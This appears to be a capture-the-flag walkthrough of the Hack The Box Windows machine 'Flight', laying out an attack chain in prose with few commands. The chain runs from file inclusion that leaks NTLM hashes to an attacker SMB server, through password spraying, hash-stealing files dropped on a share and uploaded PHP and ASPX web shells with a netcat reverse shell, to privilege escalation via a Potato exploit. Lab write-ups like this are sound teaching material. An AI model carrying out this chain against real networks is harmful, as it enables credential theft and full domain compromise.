HTB - Flight

Machine Info

Flight is a hard Windows machine that starts with a website with two different virtual hosts. One of them is vulnerable to LFI and allows an attacker to retrieve an NTLM hash. Once cracked, the obtained clear text password will be sprayed across a list of valid usernames to discover a password re-use scenario. Once the attacker has SMB access as the user s.moon he is able to write to a share that gets accessed by other users. Certain files can be used to steal the NTLMv2 hash of the users that access the share. Once the second hash is cracked the attacker will be able to write a reverse shell in a share that hosts the web files and gain a shell on the box as low privileged user. Having credentials for the user c.bum, it will be possible to gain a shell as this user, which will allow the attacker to write an aspx web shell on a web site configured to listen only on localhost. Once the attacker has command execution as the Microsoft Virtual Account, he is able to run Rubeus to get a ticket for the machine account that can be used to perform a DCSync attack ultimately obtaining the hashes for the Administrator user or abuse SeImpersonatePrivilege privilege to gain SYSTEM account.

Enumeration


Scope

IP Address: 10.10.11.187

Nmap Scan

I started to collect subdomain of the webapp since there is web server listening on port 80

Update /etc/hosts file

DNS Enumeration

I tried to transfer zone from DNS but nothing

RPC Enumeration

Access denied in rpc

SMB Enumeration

Nothing also from smb

KERBEROS Enumeration

I started kerbrute to get at least valid usernames but with no luck.

LDAP Enumeration

No info from ldap

HTTP Enumeration

http://10.10.11.187/

It's a static website and when fuzzing directory, I didn't find anything, So I went to explore school.flight.htb subdomain I found before.

http://school.flight.htb/

Shell as svc_apache

The webapp includes files in view parameter http://school.flight.htb/index.php?view=about.html

I tried to include local file with these payloads but without luck:

However, C:/windows/system32/drivers/etc/hosts worked

I thought it's worth nothing to test for RFI, So I started a local smb server and visit /index.php?view=///10.10.16.7/share, then I got a NTLMv2 hash

The hash was cracked successfully

  • After getting valid credentials, I will do the following:

    • Explore the shares for interesting files with spider_plus module with CME

    • Enumerate the domain with rpcclient & bloodhound.py

bloodhound.py

rpcclient to get domain users

I tried ASREPROASTING against these users but no luck :(

I tried then to spray the password of the user svc_apache and see if it's reused by another user

I found no interesting files when enumerating the shares as svc_apache, So I tried to enumerate them with S.Moon

S.Moon has write access the Shared share folder, So I can but a malicious .scf or .lnk files to get NTLMv2 of the user that enter that share

I mounted the Shared folder to my kali machine for easy exploring

I tried to drop multiple files but it seems like there is a group policy that prevent specific file extensions

Shell as c.bum

.ico & .ini worked for me, So I used this post to create .ini file as I don't know the structure that should be written with

There is also a tool that can create multiple files that can be dropped:

https://github.com/Greenwolf/ntlm_theft

C.BUM is a member of web development group, So I think it has a write permission on the web folder we saw before.

As I guessed :)

I mounted the share as C.BUM user

I tried to put .php file and it worked, So I will then try to upload a webshell

http://school.flight.htb/p0wny.php

The webshell doesn't persist maybe there is a clean up script. I will upload nc.exe and send a shell to my kali machine

I wanted to get a shell as C.Bum also, So I uploaded RunasCs.exe and send connection back to my kali machine

Get the user flag

User Flag: ed94451f15400f9axxxxxxxxxxxxx

Looking at listening ports, non-default port is there.

Confirm webapp existence

I will then map this port locally on my kali with Chisel

Connected with windows machine

There is a webapp running on IIS 10.0

http://localhost:8888/

Shell as defaultapppool

There is development folder and C.BUM has full access on it

So, I can write a webshell to that folder.

https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx

I downloaded the shell to my kali and then uploaded it to the windows box

http://localhost:8888/cmd.aspx

Get a Shell

Shell as Administrator

Since I have SeImpersonatePrivilege, I can escalate to SYSTEM using JoicyPotato-ng

Root Flag: a884480417f1f666xxxxxxxxxxxx

Last updated